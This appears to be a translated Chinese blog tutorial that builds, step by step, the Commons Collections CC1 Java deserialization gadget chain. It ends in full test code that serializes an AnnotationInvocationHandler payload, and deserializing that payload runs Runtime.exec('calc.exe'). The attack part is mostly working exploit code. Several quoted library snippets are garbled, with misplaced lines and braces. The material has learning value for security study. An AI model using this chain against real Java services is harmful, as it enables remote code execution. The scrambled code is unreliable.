AbstractInputCheckedMapDecorator

0 21
CC chainJava deserializationEnvironment requirementsCommonsCollections <= 3.2...

CC chain

Java deserialization

Environment requirements

  • CommonsCollections <= 3.2.1

  • AbstractInputCheckedMapDecorator

    java < 8u71 (I use)

java8u65

The environment link is not placed first, and a very神奇的事情 happened when configuring the environment:

Below is the Oracle Java8 archive address, it is really amazing, the first link is in Chinese, when you useCtrl + Fto findjava8u65When downloading java8u111 for the (8th version, 65th update), I thought it was wrong because there was only one, and after trying several times, none of them were correct.

https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

Since it only uses java to run, there is no need to configure the environment variables, just modify the interpreter directory in the project structure of idea when configuring the environment.

In addition, you need to configure the source code

https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

Download the compressed package from the left sidebar, open the compressed package, and find the following directory

Unzip the directory \src\share\classes\sun

Copy the contents of the sun package to the src directory of java8u65, by default there is no src directory. Unzip the src.zip file in the directory, import the src directory in the idea project structure sourcepath.

CommonsCollections

Create a Maven project in idea, add it to the pom.xml configuration file, and.junit is used for testing.

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.13.2</version>
            <scope>test</scope>
        </dependency>
    </dependencies>

The environment configuration is complete, should there be no more? .

The chain given by ysoserial

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */

Don't worry if you don't understand, don't panic when you encounter problems. Take it step by step.

InvokerTransformer.transform()

findorg.apache.commons.collections.transformerinterface

public interface Transformer {
    public Object transform(Object input);
}

ctrl + alt + borctrl + h
search for the inherited class downwards

find aorg.apache.commons.collections.functors.InvokerTransformerof the class

InvokerTransformer.java implements the transformer interface

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
        
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        catch (InvocationTargetException ex) {
    }
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

Use reflection in the try statement to attempt to call the method of the object accepted by the transform method, as it is usinggetMethodmethod, so calling the public method will not report an error.

The parameters of the called function iMethodName, iParamTypes, iArgs, can all be passed in when instantiating the InvokerTransformer class.

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    public ChainedTransformer(Transformer[] transformers) {
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

We can try to execute the following command:

Runtime.getRuntime().exec("calc.exe")

Pass the Runtime.getRuntime() object to meet the following conditions.

Sort out

methodName == exec function name
Object input == Runtime.getRuntime() object to execute the function
paramTypes == String.class function parameter type
args == "calc.exe" function argument

Payload upgrade:

@Test
public void test1() throws IOException, ClassNotFoundException {
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
            new Class[]{String.class},
            new Object[]{"calc.exe"});

    invokerTransformer.transform(Runtime.getRuntime());
}

the computer pops up as successful

TranformedMap.checkSetValue()

Press alt+F7 to view usage

org.apache.commons.collections.map.TranformedMap

TranformedMap.java found three method calls totransformmethod

protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

    protected Object transformKey(Object object) {
        if (keyTransformer == null) {
            object = iTransformers[i].transform(object);
        }
        return keyTransformer.transform(object);
    }

    protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            object = iTransformers[i].transform(object);
        }
        return valueTransformer.transform(object);
    }

The properties of the three methods areprotectedis visible to classes within the same package and all subclasses.

Of the three methods, choose checkSetValue(), why not use the other two? The other two search for usage, but could not find a suitable calling class.

Find the place where the parameters are assigned, which is the constructor of the TransformedMap class, with the constructor attributes ofprotectedis visible to classes within the same package and all subclasses.

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

Search for other constructor methods or callsTransformedMapmethod.

Find the method in the same class

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

Now we have a way to construct parameters, but we cannot callTransformedMap.checkSetValue()method, continue to search for usage.

AbstractInputCheckedMapDecorator

AbstractInputCheckedMapDecorator.java

static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

the inheritance relationship is as follows

MapEntry <= AbstractMapEntryDecorator

MapEntrythe superclass of the classAbstractMapEntryDecoratoris an abstract class, which cannot be instantiated, but can have a constructor. Here inMapEntrythe constructor method in the classsuper(entry)is actuallyAbstractMapEntryDecoratoris the constructor method.

protected final Map.Entry entry;

	public AbstractMapEntryDecorator(Map.Entry entry) {
        if (entry == null) {
            throw new IllegalArgumentException("Map Entry must not be null");
        }
        this.entry = entry;
    }

Sort out

MapEntry.class == AbstractMapEntryDecorator.entry == Map.Entry.class
    MapEntry.setValue(Object value)
        TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
        TranformedMap.checkSetValue(Object value)
                invokerTransformer.transform(Object input);

valueTransformer == invokerTransformer
value == Runtime.getRuntime()

The three Objects are passed consecutively, but how does MapEntry get it?MapthroughentrySet()The method can obtainMap.Entry

Upgrade:

@Test
    public void test2() throws IOException, ClassNotFoundException {
        // MapEntry.setValue() ==>  TransformedMap.checkSetValue() ==>  InvokerTransformer.transform()

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"});

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("key", "value");

        // valueTransformer == invokerTransformer
        Map<Object, Object> decorated = TransformedMap.decorate(hashMap, null, invokerTransformer);


        for (Map.Entry<Object, Object> entry : decorated.entrySet()) {
//            System.out.println(entry);
            entry.setValue(Runtime.getRuntime());
        }
    }

the computer pops up as successful

AnnotationInvocationHandler

Continue with the old method,alt + F7See usage.

sun.reflect.annotation.AnnotationInvocationHandlerthis class just calledsetValue()method, and it just happens thatreadObject()method is called insetValue(). It will be called when this class is deserialized.readObject()method.

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        }
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

we can see that throughentrySet()to obtainMap.Entry

when reachingsetValue()needs to bypass two layers beforeifjudgment.

type, memberValues are parameters passed through the constructor

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

Class<? extends Annotation> typeWhat is it, ChatGPT

Class<? extends Annotation> can represent the Class object of any annotation

Class<? extends Annotation> annotationClass = Override.class;
Class<? extends Annotation> annotationClass2 = Deprecated.class;

But it cannot be Class<Object> or Class<String> because they are not subclasses of Annotation.

For compatibility and stability, it is recommended to use some annotations that come with Java.

if (memberType != null)

Let's try it out:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"});

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("key", "value");

        Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, invokerTransformer);

        AnnotationType annotationType = AnnotationType.getInstance(Target.class);
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        System.out.println(memberTypes);

//Output:        {value=class [Ljava.lang.annotation.ElementType;}

To bypass the first if, there must be a corresponding value in memberTypes for the key of Map.Entry.

When the key of Map.Entry is value, the value in memberTypes is class,}!= nullis true, add the following code to verify.

for (Map.Entry<String, Object> memberValue : decorated.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {
                System.out.println(123);}}
            } else {
                System.out.println("456");
            }
            
// hashMap.put("key", "value") outputs 456
// hashMap.put("value", "value") outputs 123

if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))

My head is spinning, layer by layer analysis

Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))

//        !(memberType.isInstance(value) || value instanceof ExceptionProxy) == True
//            memberType.isInstance(value) || value instanceof ExceptionProxy == false
//            memberType.isInstance(value) == false
//            value instanceof ExceptionProxy == false

//      value is not an instance of memberType class, nor an ExceptionProxy instance
hashMap.put("value", "value")

memberValueis the value of Map.Entry, that is, the second"value".

memberType is{value=class [Ljava.lang.annotation.ElementType;}, and"value"is a String, no longer aExceptionProxyinstance.

Try it out: Modify the previous for loop to the current code

for (Map.Entry<String, Object> memberValue : decorated.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {
                System.out.println(123);}}

                Object value = memberValue.getValue();
//                System.out.println(memberType);
//                System.out.println(value);
//                System.out.println(value.getClass());

                if (!(memberType.isInstance(value) ||
                        value instanceof ExceptionProxy)) {
                    System.out.println("yes");
                } else
                    System.out.println("no");
            } else {
                System.out.println("456");
            }
        }

// 123
// yes

That is, it can be executed tomemberValue.setValue()However, the parameters are not under our control.

Does it matter whether there are parameters, as the returned value is the same Transformer?

ConstantTransformer

org.apache.commons.collections.functors.ConstantTransformer

public ConstantTransformer(Object constantToReturn) {
        public ChainedTransformer(Transformer[] transformers) {
        iConstant = constantToReturn;
    }

	public Object transform(Object input) {
        return iConstant;
    }

Sort out

MapEntry.class == AbstractMapEntryDecorator.entry == Map.Entry.class
    MapEntry.setValue(Object value)
        TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
        TranformedMap.checkSetValue(Object value)
			   ConstantTransformer(Runtime.getRuntime())
                ConstantTransformer.transform(Object input)
                

valueTransformer == ConstantTransformer
value == It does not matter

calltransformThe return value of the method is the parameter passed at instantiationconstantToReturn, but the last one could not execute to the dangerous function

However, it was unable to execute the dangerous function at last

ChainedTransformer

The main character at last, but the brain is not enough.

org.apache.commons.collections.functors.ChainedTransformer
        public ChainedTransformer(Transformer[] transformers) {
        super();
    }

    iTransformers = transformers;
        public Object transform(Object object) {
            for (int i = 0; i < iTransformers.length; i++) {
        }
        object = iTransformers[i].transform(object);
    }

return object;starting from the 0th, calling eachiTransformerstransform().

parameter is the one from the lasttransform()processedobject.

We need toRuntime.getRuntime()asinvokerTransformer.transform()parameter, it goes back to the beginning again, 'home sweet home', home, home. So we need toConstantTransformerAs the first

ChainedTransformer.transform()It doesn't matter what is passed as a parameter. Let's see the loop process:

First run:
iTransformers[0].transform(object);
return Runtime.getRuntime();

Second run:
invokerTransformer.transform(Runtime.getRuntime());
Can it be executed now?

It seems that everything makes sense.

Problem one

AnnotationInvocationHandlerIt is of default type, visible within the same package. Reflection is needed for initialization.

@Test
    public void test2_1() throws Exception {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
        InvokerTransformer invokerTransformer = new InvokerTransformer
                ("exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"});

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});

        // Generate MapEntry
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value", "value");

        // chainedTransformer replaced the original invokerTransformer
        Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, chainedTransformer);

        // Instantiate AnnotationInvocationHandler
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorated);

        serializable(o);
        unserializable("ser.bin");
    }

Problem two

Unexpected pest appeared

java.io.NotSerializableException: java.lang.Runtime

RuntimeNo inheritanceSerializableinterface, so it cannot be deserialized directly.

Savior: Class can be deserialized and used by reflection again.

public final class Class<T> implements java.io.Serializable

ChainedTransformer construction

The code format is incorrect; it is just an explanation and does not need to be followed according to the code explanation.

Runtime.getRuntime().exec()

new ConstantTransformer(Runtime.class).transform()
return  Runtime.class

//Execute "getMethod" to obtain "getRuntime()" of Runtime.class
invokerTransformer.transform(Runtime.class)
return Method Runtime.getRuntime()
The return is an object of the Method class

//Use Invoke to call Runtime.getRuntime()
invokerTransformer.transform(Method Runtime.getRuntime())
return Method Runtime.getRuntime().invoke();
//Execute Runtime.getRuntime().exec(). The parameters are passed through the returned result, namely:
	currentRuntime;

//Execute exec()
invokerTransformer.transform(currentRuntime);
Execute currentRuntime.exec(), which is equivalent to Runtime.getRuntime().exec(). The parameters are passed through when InvokerTransformer is instantiated.

It should be noted that when instantiating InvokerTransformer, the parameters are in the following order:

iMethodName        iParamTypes        iArgs
Method name				Type of parameters passed to the method	Parameters passed to the method

Complete code

@Test
    public void test2_1() throws Exception {

//        Class<Runtime> clazz = Runtime.class;
//
//        Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
//        Object o = getRuntimeMethod.invoke(null, null);
//
//        Method execMethod = clazz.getMethod("exec", String.class);
//        execMethod.invoke(o, "calc.exe");

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                // Class<Runtime> clazz
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                // Get Method getRuntimeMethod
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                // Get Object o
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        });

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value", "value");

        // valueTransformer == invokerTransformer
        Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, chainedTransformer);

        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorated);
        serializable(o);
        unserializable("ser.bin");
    }

Comments are for one's own understanding of the process.

你可能想看:
最后修改时间:
admin
上一篇 2025年03月26日 19:14
下一篇 2025年03月26日 19:37

评论已关闭